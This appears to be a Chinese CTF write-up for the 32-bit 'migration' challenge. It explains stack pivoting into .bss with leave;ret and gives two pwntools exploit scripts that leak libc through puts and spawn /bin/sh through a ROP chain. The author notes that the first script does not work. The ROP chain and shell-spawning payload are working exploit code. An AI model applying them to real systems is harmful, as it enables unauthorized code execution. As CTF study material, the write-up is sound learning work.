lab6 | | migration |
基本上是知识盲区
令人头秃
这道题是这样的
通过
if ( count != 1337 )
exit(1);
限制了我们只能利用一次main函数的溢出(直接控制main返回到exit后的话,程序的栈结构会乱掉)
而buf一共28h也就是40字节,read可读进去的是40h也就是64字节,除去覆盖ebp的四个字节,真正能用的实际上只有20字节。然而20字节肯定不够的。
所以我们需要一个骚操作叫做构造假栈帧
原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。(大佬的博客里这么教我的
然后我们这里需要一个leave_ret
图片.png然后还需要两块bss段 一个用来写rop2 一个用来写\bin\sh
这里放一个比较简单的结构,大概思路是这样:
rop1=[
puts,
pop_ebx_ret,
libc_start_main_got,
gets,
pop_ebx_ret,
buf2,
pop_ebx_ret,
buf2-4,(-4是因为leave中有一个pop ebp语句,所以-4再pop才能跳转去执行rop2)
leave_ret
]
buf2中用来放rop2
rop2构造就可以这样
rop2=[
gets,
system,
buf1,
buf1
]
buf1里面是('/bin/sh')
from pwn import *
#context.log_level='debug'
sh= process('./migration')
r=ELF('./migration')
libc=ELF('/lib32/libc.so.6')
libc_start_main_got=r.got['__libc_start_main']
libc_start_off=libc.symbols['__libc_start_main']
puts_got=r.got['puts']
puts_adr=r.symbols['puts']
read_adr=r.symbols['read']
puts_off=libc.symbols['puts']
system_off=libc.symbols['system']
gets_off=libc.symbols['gets']
pop_ebx_ret=0x0804836d
pop3_ret=0x08048569
leave_ret=0x08048418
buf1 = r.bss() + 0x500
buf2 = r.bss() + 0x400
p1='a'*44
p1+=p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
p1+=p32(read_adr)+p32(pop3_ret)+p32(0)+p32(buf2)+p32(0x100)
p1+=p32(pop_ebx_ret)+p32(buf2-4)+p32(leave_ret)
sh.recvuntil("Try your best :")
sh.send(p1)
sleep(0.1)
sh.recvuntil('\n')
libc_base=u32(sh.recv(4))-puts_off
print (hex(libc_base))
gets=gets_off+libc_base
system=libc_base+system_off
p2=p32(system)+p32(gets)+p32(buf1)+p32(buf1)
sh.send(p2)
sh.send("/bin/sh\0")
sh.interactive()
emmmmmm有点问题
之后改
ok我调不出来
我认输
这个wp比较好
https://blog.csdn.net/zszcr/article/details/79841848
from pwn import *
# context.log_level='debug'
sh= process('./migration')
r=ELF('./migration')
libc=ELF('/lib32/libc.so.6')
puts_got=r.got['puts']
puts_adr=r.symbols['puts']
read_adr=r.symbols['read']
puts_off=libc.symbols['puts']
system_off=libc.symbols['system']
gets_off=libc.symbols['gets']
pop_ebx_ret=0x0804836d
pop3_ret=0x08048569
leave_ret=0x08048418
buf1 = r.bss() + 0x500
buf2 = r.bss() + 0x400
sh.recvuntil("Try your best :")
p='a'*40+p32(buf2)
p+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
sh.send(p)
p1=p32(buf1)+p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
p1+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
sh.send(p1)
sleep(0.1)
sh.recvuntil('\n')
libc_base=u32(sh.recv(4))-puts_off
print (hex(libc_base))
gets=gets_off+libc_base
system=libc_base+system_off
p2='aaaa'+p32(gets)+p32(system)+p32(buf2)+p32(buf2)
sh.send(p2)
sh.sendline("/bin/sh\0")
sh.interactive()
图片.png
网友评论